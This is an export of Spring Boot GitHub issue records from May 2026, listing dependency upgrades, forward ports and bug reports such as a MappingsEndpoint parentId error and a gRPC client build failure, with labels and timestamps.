spring-projects/spring-boot,4437868854,Property after `spring.config.import` does not override property imported before,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",status: invalid,2026-05-13T12:31:21Z,2026-05-13T13:31:52Z,1
spring-projects/spring-boot,4436746665,GraphQL ConversionService auto-configuration has no effect,"spring-boot version 4.0.6

https://github.com/spring-projects/spring-boot/blob/458b8baccf1b3999752a6ad4fa7e350f0f347926/module/spring-boot-graphql/src/main/java/org/springframework/boot/graphql/autoconfigure/GraphQlAutoConfiguration.java#L160

current code uses configurebinder to set the applicationconversionservice.sharedinstance

but options.conversionsService() returns a new Options object and does not modify existing options, so ApplicationConversionService.getSharedInstance() is never set. 

setBinderOptions should be used since Options is immutable
","for: external-project,status: superseded",2026-05-13T09:43:15Z,2026-05-15T19:27:34Z,3
spring-projects/spring-boot,4433801733,ConfigurationPropertiesReportEndpoint exposes AOP proxy internals,Forward port of issue #50416 to 4.1.x.,"type: bug,status: forward-port",2026-05-13T01:10:53Z,2026-05-13T01:11:02Z,0
spring-projects/spring-boot,4433800950,ConfigurationPropertiesReportEndpoint exposes AOP proxy internals,Forward port of issue #50273 to 4.0.x.,"type: bug,status: forward-port",2026-05-13T01:10:44Z,2026-05-13T01:11:02Z,0
spring-projects/spring-boot,4432283839,Created StackTracePrinter instances have no access to the Environment,Forward port of issue #50413 to 4.1.x.,"type: bug,status: forward-port",2026-05-12T20:08:08Z,2026-05-12T20:08:16Z,0
spring-projects/spring-boot,4432283142,Created StackTracePrinter instances have no access to the Environment,Forward port of issue #50303 to 4.0.x.,"type: bug,status: forward-port",2026-05-12T20:08:00Z,2026-05-12T20:08:15Z,0
spring-projects/spring-boot,4432046974,MappingsEndpoint reports the context's own ID as parentId when a parent exists,Forward port of issue #50411 to 4.1.x.,"type: bug,status: forward-port",2026-05-12T19:31:27Z,2026-05-12T19:31:37Z,0
spring-projects/spring-boot,4432046345,MappingsEndpoint reports the context's own ID as parentId when a parent exists,Forward port of issue #50373 to 4.0.x.,"type: bug,status: forward-port",2026-05-12T19:31:19Z,2026-05-12T19:31:36Z,0
spring-projects/spring-boot,4431775907,Buildpack module does not validate long-to-int casts,Forward port of issue #50409 to 4.1.x.,"type: bug,status: forward-port",2026-05-12T18:48:42Z,2026-05-12T18:48:56Z,0
spring-projects/spring-boot,4431775160,Buildpack module does not validate long-to-int casts,Forward port of issue #50382 to 4.0.x.,"type: bug,status: forward-port",2026-05-12T18:48:34Z,2026-05-12T18:48:55Z,0
spring-projects/spring-boot,4431671232,Make StandardStackTracePrinterTests withHashesFunctionPrintsStackTraceWithHashes less brittle,Forward port of issue #50407 to 4.1.x.,"type: task,status: forward-port,status: team-only",2026-05-12T18:32:11Z,2026-05-12T18:34:16Z,0
spring-projects/spring-boot,4431669871,Make StandardStackTracePrinterTests withHashesFunctionPrintsStackTraceWithHashes less brittle,Forward port of issue #50402 to 4.0.x.,"type: task,status: forward-port,status: team-only",2026-05-12T18:31:58Z,2026-05-12T18:34:16Z,0
spring-projects/spring-boot,4427687091,Use Unix line endings in NestedPropertiesRecord and NestedRecord,,"type: task,status: team-only",2026-05-12T08:56:21Z,2026-05-14T10:28:27Z,0
spring-projects/spring-boot,4427234923,Make StandardStackTracePrinterTests withHashesFunctionPrintsStackTraceWithHashes less brittle,"Currently, it fails if any of the line numbers in `TestException` have changed.","type: task,status: team-only",2026-05-12T07:49:01Z,2026-05-12T18:34:15Z,0
spring-projects/spring-boot,4426895639,gRPC client project build fails,"The Spring Boot Gradle plugin helpfully tries to set up the gRPC plugin dependencies if it knows there is a gRPC project. It works for the ""server"" starter, but fails for the ""client"":

```
Execution failed for task ':generateProto'.
> Could not resolve all files for configuration ':protobufToolsLocator_protoc'.
   > Could not find com.google.protobuf:protoc:null.
     Searched in the following locations:
       - https://repo.maven.apache.org/maven2/com/google/protobuf/protoc/null/protoc-null.pom
       - https://repo.spring.io/snapshot/com/google/protobuf/protoc/null/protoc-null.pom
     Required by:
         root project 'gradle-demo'
```

It seems that this line in the plugin might be the problem:

```
	private static final List<VersionAlignment> versionAlignment = List.of(
			protocDependency.alignVersionWith(""com.google.protobuf"", ""protobuf-java-util""),
			grpcDependency.alignVersionWith(""io.grpc"", ""grpc-util""));
```

If `protobuf-java-util` is not a dependency, then the version is null.","type: bug,status: superseded",2026-05-12T06:54:40Z,2026-05-12T15:35:31Z,4
spring-projects/spring-boot,4420279560,Update license header in .kt and .gradle files,"There's a subtle inconsistency in some of our license headers. In most files we have:

```
* Licensed under the Apache License, Version 2.0 (the ""License"");
```

But in some there are no quotes:

```
* Licensed under the Apache License, Version 2.0 (the License);
```

We should consistently use the former.",type: task,2026-05-11T11:05:26Z,2026-05-14T14:04:01Z,4
spring-projects/spring-boot,4420132941,Correct the name of the CLI's license file,It's currently named `LICENCE.txt`. It should be named `LICENSE.txt`.,type: task,2026-05-11T10:43:50Z,2026-05-14T14:09:21Z,0
spring-projects/spring-boot,4419805560,GraphQL WebSocket support does not configure allowed origins,Forward port of issue #50393 to 4.1.x.,"type: bug,status: forward-port",2026-05-11T09:55:32Z,2026-05-11T10:01:34Z,0
spring-projects/spring-boot,4419799652,GraphQL WebSocket support does not configure allowed origins,Forward port of issue #50391 to 4.0.x.,"type: bug,status: forward-port",2026-05-11T09:54:34Z,2026-05-11T10:01:34Z,0
spring-projects/spring-boot,4419623203,GraphQL WebSocket support does not configure allowed origins,"As of https://github.com/spring-projects/spring-graphql/issues/1465, Spring for GraphQL also supports applying allowed origins to the websocket endpoint. As it's considered a bug of omission in that project, we should do the same here.

The `spring.graphql.cors.*` origin-related properties are fine here, since the configured allowed origins should apply to all supported transports.",type: bug,2026-05-11T09:25:34Z,2026-05-11T10:01:33Z,0
spring-projects/spring-boot,4411988314,Consider re-adding support for Undertow,"As version 2.4.0.Final has been released,see https://github.com/undertow-io/undertow/releases/tag/2.4.0.Final",status: declined,2026-05-09T09:19:11Z,2026-05-11T08:46:29Z,3
spring-projects/spring-boot,4405608698,Upgrade to Gradle 8.14.5,,"type: task,status: team-only",2026-05-08T10:14:09Z,2026-05-14T13:12:35Z,1
spring-projects/spring-boot,4405453372,Test against Gradle 8.14.5,https://github.com/gradle/gradle/releases/tag/v8.14.5,"type: task,status: team-only",2026-05-08T09:49:10Z,2026-05-14T13:33:08Z,1
spring-projects/spring-boot,4403357749,MappingsEndpoint reports the context's own ID as parentId when a parent exists,"`MappingsEndpoint` sets the `parentId` of `ContextMappingsDescriptor` to the context's own ID when a parent exists, rather than the parent's ID:

```java
return new ContextMappingsDescriptor(mappings,
    (applicationContext.getParent() != null) ? applicationContext.getId() : null);
```

`mappings()` already keys the response map by `target.getId()`, so the descriptor's `parentId` ends up equal to its own map key when a parent is present, which prevents reconstructing the context tree from the response.

The other actuator endpoints with the same `parentId` field use `getParent().getId()`:

- `BeansEndpoint.java:124` — `(parent != null) ? parent.getId() : null`
- `ConfigurationPropertiesReportEndpoint.java:150` — `context.getParent().getId()`
- `ConditionsReportEndpoint.java:124` — `context.getParent().getId()`

A separate parity observation between the two `Dispatcher*MappingDescriptionProvider` classes:

- `DispatcherServletsMappingDescriptionProvider` (webmvc) wraps its static provider list with `Collections.unmodifiableList(...)`.
- `DispatcherHandlersMappingDescriptionProvider` (webflux) uses `Arrays.asList(...)`, which is fixed-size but mutable via `set(i, ...)`.

I can submit a PR for the `parentId` fix if this is accepted. Let me know whether to bundle or skip the `Arrays.asList` alignment.",status: superseded,2026-05-08T02:31:33Z,2026-05-12T19:30:46Z,2
spring-projects/spring-boot,4399688832,Link to Netty releases in dependency upgrade issues,Forward port of issue #50358 to 4.1.x.,"type: task,status: forward-port",2026-05-07T14:50:50Z,2026-05-07T14:51:10Z,0
spring-projects/spring-boot,4399687348,Link to Netty releases in dependency upgrade issues,Forward port of issue #50321 to 4.0.x.,"type: task,status: forward-port",2026-05-07T14:50:37Z,2026-05-07T14:51:09Z,0
spring-projects/spring-boot,4399659158,SampleCacheApplicationRedisTests is flaky in 4.0.x and later,Forward port of issue #50356 to 4.1.x.,"type: task,status: forward-port",2026-05-07T14:46:39Z,2026-05-07T14:46:55Z,0
spring-projects/spring-boot,4399552262,SampleCacheApplicationRedisTests is flaky in 4.0.x and later,"`SampleCacheApplicationRedisTests` is [flaky](https://ge.spring.io/scans/tests?search.relativeStartTime=P28D&search.tags=main&search.timeZoneId=Europe%2FLondon&tests.container=smoketest.cache.SampleCacheApplicationRedisTests&tests.test=validateCache()), but only in `4.0.x` and `main`. I believe it's due to https://github.com/spring-projects/spring-data-redis/commit/9f069e5aa583c56c1012880bad8a7ffcadf272df. The write to the cache is now performed asynchronously so might not be visible to the immediate read in the test.",type: task,2026-05-07T14:30:48Z,2026-05-07T14:46:54Z,0
spring-projects/spring-boot,4398589253,Improve documentation and/or support for securing requests made on a different management port,"TLDR:
IMHO Spring Boot should provide a supported and documented way to set up the actuator endpoints on a separate management port with _completely isolated_ Spring Security filter chains, or at least with a dedicated chain that does not cause requests made on that port to leak into other chains (unless I want it to).

Long explanation:

I have a Spring Boot application, secured with Spring Security and a custom security filter chain. I was requested to add support for management on a different port, with endpoints exposed through HTTP open to anyone. I followed the docs but it was quite hard for me to deeply understand what happens under the hood and how I should adapt my security configuration. Especially because matchers used to secure the application usually work on paths, and not on specific ports. And _apparently_ there's no out-of-the-box support to match on ports in the actuator API as well. 

So, this is what I ended up with, after quite some investigation and debugging.

Starting from https://docs.spring.io/spring-boot/reference/actuator/endpoints.html#actuator.endpoints.security I understood I had to create a separate security filter chain. It's key that this chain is applied _first_ (through proper `@Order`, which is not evident from the example), so that:
- if the securityMatcher matches (and this happens when the request is made on the management port), this chain is applied
- otherwise the next available filter chain will be applied, instead, since it means th... [TRUNCATED]",,2026-05-07T12:01:19Z,2026-06-17T11:38:15Z,4
spring-projects/spring-boot,4398322875,Upgrade to Tomcat 11.0.22,Upgrade to [Tomcat 11.0.22](https://tomcat.apache.org/tomcat-11.0-doc/changelog.html).,"type: dependency-upgrade,status: team-only",2026-05-07T11:18:38Z,2026-05-07T11:42:39Z,0
spring-projects/spring-boot,4398322521,Upgrade to SQLite JDBC 3.53.1.0,Upgrade to [SQLite JDBC 3.53.1.0](https://github.com/xerial/sqlite-jdbc/releases/tag/3.53.1.0).,"type: task,status: superseded",2026-05-07T11:18:34Z,2026-05-07T11:42:38Z,0
spring-projects/spring-boot,4398321969,Upgrade to SAAJ Impl 3.0.5,Upgrade to SAAJ Impl 3.0.5.,"type: task,status: superseded",2026-05-07T11:18:29Z,2026-05-07T11:42:38Z,0
spring-projects/spring-boot,4398321564,Upgrade to R2DBC MySQL 1.4.2,Upgrade to [R2DBC MySQL 1.4.2](https://github.com/asyncer-io/r2dbc-mysql/releases/tag/r2dbc-mysql-1.4.2).,"type: dependency-upgrade,status: team-only",2026-05-07T11:18:24Z,2026-05-07T11:42:37Z,0
spring-projects/spring-boot,4398321195,Upgrade to Pulsar 4.2.1,Upgrade to [Pulsar 4.2.1](https://pulsar.apache.org/release-notes/versioned/pulsar-4.2.1).,"type: task,status: superseded",2026-05-07T11:18:20Z,2026-05-07T11:42:36Z,0
spring-projects/spring-boot,4398320591,Upgrade to Postgresql 42.7.11,Upgrade to [Postgresql 42.7.11](https://github.com/pgjdbc/pgjdbc/releases/tag/REL42.7.11).,"type: dependency-upgrade,status: team-only",2026-05-07T11:18:15Z,2026-05-07T11:42:36Z,0
spring-projects/spring-boot,4398320163,Upgrade to Netty 4.2.13.Final,Upgrade to [Netty 4.2.13.Final](https://github.com/netty/netty/releases/tag/netty-4.2.13.Final).,"type: task,status: superseded",2026-05-07T11:18:10Z,2026-05-07T11:42:35Z,0
spring-projects/spring-boot,4398319613,Upgrade to Kotlin 2.3.21,Upgrade to [Kotlin 2.3.21](https://github.com/JetBrains/kotlin/releases/tag/v2.3.21).,"type: dependency-upgrade,status: team-only",2026-05-07T11:18:05Z,2026-05-07T11:42:34Z,0
spring-projects/spring-boot,4398319038,Upgrade to jOOQ 3.21.3,Upgrade to [jOOQ 3.21.3](https://github.com/jOOQ/jOOQ/releases/tag/version-3.21.3).,"type: task,status: superseded",2026-05-07T11:18:01Z,2026-05-07T11:42:34Z,0
spring-projects/spring-boot,4398318631,Upgrade to Jakarta XML Bind 4.0.5,Upgrade to [Jakarta XML Bind 4.0.5](https://github.com/jakartaee/jaxb-api/releases/tag/4.0.5).,"type: dependency-upgrade,status: team-only",2026-05-07T11:17:56Z,2026-05-07T11:42:33Z,0
spring-projects/spring-boot,4398318184,Upgrade to Jackson Bom 3.1.3,Upgrade to [Jackson Bom 3.1.3](https://github.com/FasterXML/jackson/wiki/Jackson-Release-3.1.3).,"type: task,status: superseded",2026-05-07T11:17:51Z,2026-05-07T11:42:33Z,0
spring-projects/spring-boot,4398317532,Upgrade to Jackson 2 Bom 2.21.3,Upgrade to [Jackson 2 Bom 2.21.3](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.3).,"type: task,status: superseded",2026-05-07T11:17:45Z,2026-05-07T11:42:32Z,0
spring-projects/spring-boot,4398317019,Upgrade to Infinispan 16.1.4,Upgrade to [Infinispan 16.1.4](https://github.com/infinispan/infinispan/releases/tag/16.1.4).,"type: dependency-upgrade,status: team-only",2026-05-07T11:17:41Z,2026-05-07T11:42:31Z,0
spring-projects/spring-boot,4398316579,Upgrade to Hibernate 7.2.13.Final,Upgrade to [Hibernate 7.2.13.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.13).,"type: task,status: superseded",2026-05-07T11:17:36Z,2026-05-07T11:42:31Z,0
spring-projects/spring-boot,4398316015,Upgrade to Groovy 5.0.6,Upgrade to Groovy 5.0.6.,"type: dependency-upgrade,status: team-only",2026-05-07T11:17:31Z,2026-05-07T11:42:30Z,0
spring-projects/spring-boot,4398315493,Upgrade to Glassfish JAXB 4.0.8,Upgrade to [Glassfish JAXB 4.0.8](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.8-RI).,"type: task,status: superseded",2026-05-07T11:17:27Z,2026-05-07T11:42:29Z,1
spring-projects/spring-boot,4398315080,Upgrade to Caffeine 3.2.4,Upgrade to [Caffeine 3.2.4](https://github.com/ben-manes/caffeine/releases/tag/v3.2.4).,"type: dependency-upgrade,status: team-only",2026-05-07T11:17:22Z,2026-05-07T11:42:29Z,0
spring-projects/spring-boot,4398314668,Upgrade to ActiveMQ 6.2.5,Upgrade to [ActiveMQ 6.2.5](https://activemq.apache.org/components/classic/download/classic-06-02-05).,"type: task,status: superseded",2026-05-07T11:17:18Z,2026-05-07T11:42:28Z,0
spring-projects/spring-boot,4398287361,Prohibit upgrades to Jetty 12.1.9,Forward port of issue #50329 to 4.1.x.,"type: task,status: forward-port,status: team-only",2026-05-07T11:12:56Z,2026-05-07T11:42:27Z,0
spring-projects/spring-boot,4397728548,Upgrade to Tomcat 11.0.22,Upgrade to [Tomcat 11.0.22](https://tomcat.apache.org/tomcat-11.0-doc/changelog.html).,"type: dependency-upgrade,status: team-only",2026-05-07T09:41:06Z,2026-05-07T11:22:20Z,5
spring-projects/spring-boot,4397728061,Upgrade to SAAJ Impl 3.0.5,Upgrade to SAAJ Impl 3.0.5.,"type: task,status: superseded",2026-05-07T09:41:01Z,2026-05-07T11:22:19Z,0
spring-projects/spring-boot,4397727485,Upgrade to R2DBC MySQL 1.4.2,Upgrade to [R2DBC MySQL 1.4.2](https://github.com/asyncer-io/r2dbc-mysql/releases/tag/r2dbc-mysql-1.4.2).,"type: dependency-upgrade,status: team-only",2026-05-07T09:40:56Z,2026-05-07T11:22:18Z,0
spring-projects/spring-boot,4397727101,Upgrade to Postgresql 42.7.11,Upgrade to [Postgresql 42.7.11](https://github.com/pgjdbc/pgjdbc/releases/tag/REL42.7.11).,"type: dependency-upgrade,status: team-only",2026-05-07T09:40:51Z,2026-05-07T11:22:18Z,0
spring-projects/spring-boot,4397726665,Upgrade to Netty 4.2.13.Final,Upgrade to [Netty 4.2.13.Final](https://github.com/netty/netty/releases/tag/netty-4.2.13.Final).,"type: task,status: superseded",2026-05-07T09:40:47Z,2026-05-07T11:22:17Z,0
spring-projects/spring-boot,4397726071,Upgrade to jOOQ 3.19.33,Upgrade to [jOOQ 3.19.33](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.33).,"type: task,status: superseded",2026-05-07T09:40:42Z,2026-05-07T11:22:16Z,0
spring-projects/spring-boot,4397725657,Prohibit upgrades to Jetty 12.1.9,Upgrade to [Jetty 12.1.9](https://github.com/jetty/jetty.project/releases/tag/jetty-12.1.9).,"type: task,status: team-only",2026-05-07T09:40:37Z,2026-05-07T11:22:16Z,1
spring-projects/spring-boot,4397725275,Upgrade to Jakarta XML Bind 4.0.5,Upgrade to [Jakarta XML Bind 4.0.5](https://github.com/jakartaee/jaxb-api/releases/tag/4.0.5).,"type: dependency-upgrade,status: team-only",2026-05-07T09:40:32Z,2026-05-07T11:22:15Z,0
spring-projects/spring-boot,4397724666,Upgrade to Jackson Bom 3.1.3,Upgrade to [Jackson Bom 3.1.3](https://github.com/FasterXML/jackson/wiki/Jackson-Release-3.1.3).,"type: task,status: superseded",2026-05-07T09:40:28Z,2026-05-07T11:22:14Z,0
spring-projects/spring-boot,4397724229,Upgrade to Jackson 2 Bom 2.21.3,Upgrade to [Jackson 2 Bom 2.21.3](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.3).,"type: task,status: superseded",2026-05-07T09:40:23Z,2026-05-07T11:22:14Z,0
spring-projects/spring-boot,4397723814,Upgrade to Hibernate 7.2.13.Final,Upgrade to [Hibernate 7.2.13.Final](https://github.com/hibernate/hibernate-orm/releases/tag/7.2.13).,"type: task,status: superseded",2026-05-07T09:40:18Z,2026-05-07T11:22:13Z,0
spring-projects/spring-boot,4397723222,Upgrade to Groovy 5.0.6,Upgrade to Groovy 5.0.6.,"type: dependency-upgrade,status: team-only",2026-05-07T09:40:14Z,2026-05-07T11:22:12Z,0
spring-projects/spring-boot,4397722758,Upgrade to Glassfish JAXB 4.0.8,Upgrade to [Glassfish JAXB 4.0.8](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.8-RI).,"type: task,status: superseded",2026-05-07T09:40:09Z,2026-05-07T11:22:12Z,1
spring-projects/spring-boot,4397722283,Upgrade to Caffeine 3.2.4,Upgrade to [Caffeine 3.2.4](https://github.com/ben-manes/caffeine/releases/tag/v3.2.4).,"type: dependency-upgrade,status: team-only",2026-05-07T09:40:04Z,2026-05-07T11:22:11Z,0
spring-projects/spring-boot,4397718387,Link to Netty releases in dependency upgrade issues,"Netty has started to publish releases (see https://github.com/netty/netty/releases/tag/netty-4.1.133.Final, for example) so we should start linking to them from our dependency upgrade issues.",type: task,2026-05-07T09:39:28Z,2026-05-07T14:51:06Z,0
spring-projects/spring-boot,4397436337,Upgrade to SAAJ Impl 3.0.5,Upgrade to SAAJ Impl 3.0.5.,"type: task,status: superseded",2026-05-07T08:55:05Z,2026-05-07T09:36:01Z,0
spring-projects/spring-boot,4397435846,Upgrade to R2DBC MySQL 1.4.2,Upgrade to [R2DBC MySQL 1.4.2](https://github.com/asyncer-io/r2dbc-mysql/releases/tag/r2dbc-mysql-1.4.2).,"type: dependency-upgrade,status: team-only",2026-05-07T08:55:01Z,2026-05-07T09:36:00Z,0
spring-projects/spring-boot,4397435435,Upgrade to Pulsar 4.0.10,Upgrade to [Pulsar 4.0.10](https://pulsar.apache.org/release-notes/versioned/pulsar-4.0.10).,"type: task,status: superseded",2026-05-07T08:54:56Z,2026-05-07T09:35:59Z,0
spring-projects/spring-boot,4397435019,Upgrade to Postgresql 42.7.11,Upgrade to [Postgresql 42.7.11](https://github.com/pgjdbc/pgjdbc/releases/tag/REL42.7.11).,"type: dependency-upgrade,status: team-only",2026-05-07T08:54:52Z,2026-05-07T09:35:59Z,0
spring-projects/spring-boot,4397434582,Upgrade to Netty 4.1.133.Final,Upgrade to [Netty 4.1.133.Final](https://github.com/netty/netty/releases/tag/netty-4.1.133.Final).,"type: task,status: superseded",2026-05-07T08:54:47Z,2026-05-07T09:35:58Z,0
spring-projects/spring-boot,4397434160,Upgrade to jOOQ 3.19.33,Upgrade to [jOOQ 3.19.33](https://github.com/jOOQ/jOOQ/releases/tag/version-3.19.33).,"type: task,status: superseded",2026-05-07T08:54:42Z,2026-05-07T09:35:57Z,0
spring-projects/spring-boot,4397433711,Upgrade to Jetty 12.0.35,Upgrade to [Jetty 12.0.35](https://github.com/jetty/jetty.project/releases/tag/jetty-12.0.35).,"type: task,status: superseded",2026-05-07T08:54:38Z,2026-05-07T09:35:57Z,0
spring-projects/spring-boot,4397433270,Upgrade to Jakarta XML Bind 4.0.5,Upgrade to [Jakarta XML Bind 4.0.5](https://github.com/jakartaee/jaxb-api/releases/tag/4.0.5).,"type: dependency-upgrade,status: team-only",2026-05-07T08:54:33Z,2026-05-07T09:35:56Z,0
spring-projects/spring-boot,4397432820,Upgrade to Jackson Bom 2.21.3,Upgrade to [Jackson Bom 2.21.3](https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.21.3).,"type: task,status: superseded",2026-05-07T08:54:28Z,2026-05-07T09:35:56Z,0
spring-projects/spring-boot,4397432408,Upgrade to Hibernate 6.6.50.Final,Upgrade to [Hibernate 6.6.50.Final](https://github.com/hibernate/hibernate-orm/releases/tag/6.6.50).,"type: task,status: superseded",2026-05-07T08:54:24Z,2026-05-07T09:35:55Z,0
spring-projects/spring-boot,4397431981,Upgrade to Groovy 4.0.32,Upgrade to Groovy 4.0.32.,"type: dependency-upgrade,status: team-only",2026-05-07T08:54:19Z,2026-05-07T09:35:54Z,0
spring-projects/spring-boot,4397431569,Upgrade to Glassfish JAXB 4.0.8,Upgrade to [Glassfish JAXB 4.0.8](https://github.com/eclipse-ee4j/jaxb-ri/releases/tag/4.0.8-RI).,"type: task,status: superseded",2026-05-07T08:54:15Z,2026-05-07T09:35:54Z,0
spring-projects/spring-boot,4397431126,Upgrade to Caffeine 3.2.4,Upgrade to [Caffeine 3.2.4](https://github.com/ben-manes/caffeine/releases/tag/v3.2.4).,"type: dependency-upgrade,status: team-only",2026-05-07T08:54:10Z,2026-05-07T09:35:53Z,0
spring-projects/spring-boot,4397353483,Upgrade to Netty 4.2.13.Final,Netty [4.2.13.Final](https://github.com/netty/netty/releases/tag/netty-4.2.13.Final) resolves a bunch of CVEs.,status: declined,2026-05-07T08:41:08Z,2026-05-07T08:46:23Z,1
spring-projects/spring-boot,4395535826,Log time taken for ApplicationRunner and CommandLineRunner execution at startup,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",status: declined,2026-05-07T01:38:10Z,2026-05-07T07:07:11Z,3
spring-projects/spring-boot,4389819982,Pin Antora's node installation to use 24.14.x,Forward port of issue #50299 to 4.1.x.,"type: task,status: forward-port",2026-05-06T08:16:05Z,2026-05-06T08:16:55Z,0
spring-projects/spring-boot,4389818532,Pin Antora's node installation to use 24.14.x,Forward port of issue #50295 to 4.0.x.,"type: task,status: forward-port",2026-05-06T08:15:51Z,2026-05-06T08:16:54Z,0
spring-projects/spring-boot,4386297145,Spring Boot Loader Does Not Support RSA and EC Signed Jars,Forward port of issue #50297 to 4.1.x.,"type: bug,status: forward-port",2026-05-05T18:35:31Z,2026-05-05T18:35:43Z,0
spring-projects/spring-boot,4386188035,Spring Boot Loader Does Not Support RSA and EC Signed Jars,Forward port of issue #50292 to 4.0.x.,"type: bug,status: forward-port",2026-05-05T18:15:23Z,2026-05-05T18:35:42Z,2
spring-projects/spring-boot,4385106389,Pin Antora's node installation to use 24.14.x,We're seeing [crashes in node on Windows](https://ge.spring.io/s/cczdd4w3ubusi/failures#1) when running Antora. This appears to coincide with the release of 24.15.0 and the crashes are similar to those reported in [this issue](https://github.com/nodejs/node/issues/62991).,type: task,2026-05-05T15:07:09Z,2026-05-06T08:16:54Z,0
spring-projects/spring-boot,4383730982,Question: Why does spring-boot-starter-security-oauth2-client include spring-boot-starter-security as a dependency in Spring Boot 4.x?,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.
-->

**Describe the issue**

I'm reaching out regarding a change I've noticed when migrating from Spring Boot 3.x to 4.x related to OAuth2 client support.  
Previously, in 3.x, the `spring-boot-starter-oauth2-client` starter had the following dependencies ([see build.gradle for 3.x](https://github.com/spring-projects/spring-boot/blob/7d7b3ac12735161f9c096ce6cb415bdd9fc4a0f4/spring-boot-project/spring-boot-starters/spring-boot-starter-oauth2-client/build.grad... [TRUNCATED]",,2026-05-05T11:40:41Z,2026-05-06T08:06:05Z,3
spring-projects/spring-boot,4381603015,InvalidApiVersionException thrown when required=false and path has no version segment,"
I have already reported this issue to the spring framework issues https://github.com/spring-projects/spring-framework/issues/36751 because its hard to me to tell where this issue belongs.

Spring Boot: 4.0.6

Expected: required=false should handle missing path segment gracefully
Actual: throws InvalidApiVersionException: ""No path segment at index 1""

Config:
spring.mvc.apiversion.use.path-segment=1
spring.mvc.apiversion.required=false

```
@RestController
class ActivitiesApiController(
    private val activityService: ActivityService
) {

    @GetMapping(""/api/{version}/activities/foo"", version = ""1.0"")
    fun getActivities1(): List<ItineraryItem> {
        return activityService.getActivities(ActivityFilter(), Pageable.unpaged()).content.map { it.toSharedModel() }
    }

    @GetMapping(""/api/activities/foo"")
    fun getActivities(): List<ItineraryItem> {
        return activityService.getActivities(ActivityFilter(), Pageable.unpaged()).content.map { it.toSharedModel() }
    }
  }
}

```
Reproduction:
GET /api/activities/foo  → 400 InvalidApiVersionException
GET /api/1.0/activities/foo → 200 OK
","status: invalid,for: external-project",2026-05-05T04:49:45Z,2026-05-05T05:10:57Z,1
spring-projects/spring-boot,4380825984,Spring Boot Loader Does Not Support RSA and EC Signed Jars,"<!--
Thanks for raising a Spring Boot issue. Please take the time to review the following
categories as some of them do not apply here.

🙅 ""Please DO NOT Raise an Issue"" Cases
- Question
STOP!! Please ask questions about how to use something, or to understand why something isn't
working as you expect it to, on Stack Overflow using the spring-boot tag.
- Security Vulnerability
STOP!! Please don't raise security vulnerabilities here. Head over to https://spring.io/security-policy to learn how to disclose them responsibly.
- Managed Dependency Upgrade
You DO NOT need to raise an issue for a managed dependency version upgrade as there's a semi-automatic process for checking managed dependencies for new versions before a release. BUT pull requests for upgrades that are more involved than just a version property change are still most welcome.
- With an Immediate Pull Request
An issue will be closed as a duplicate of the immediate pull request, so you don't have to raise an issue if you plan to create a pull request immediately.

🐞 Bug report (please don't include this emoji/text, just add your details)
Please provide details of the problem, including the version of Spring Boot that you
are using. If possible, please provide a test case or sample application that reproduces
the problem. This makes it much easier for us to diagnose the problem and to verify that
we have fixed it.

🎁 Enhancement (please don't include this emoji/text, just add your details)
Please start by describing t... [TRUNCATED]",type: bug,2026-05-05T01:25:14Z,2026-05-05T18:35:41Z,1
spring-projects/spring-boot,4380135579,Align DocumentBuilderFactory configuration,Forward port of issue #50289 to 4.1.x.,"type: task,status: forward-port",2026-05-04T22:37:47Z,2026-05-04T22:47:54Z,0
spring-projects/spring-boot,4379617150,Align DocumentBuilderFactory configuration,Forward port of issue #50282 to 4.0.x.,"type: task,status: forward-port",2026-05-04T20:56:38Z,2026-05-04T22:47:54Z,0
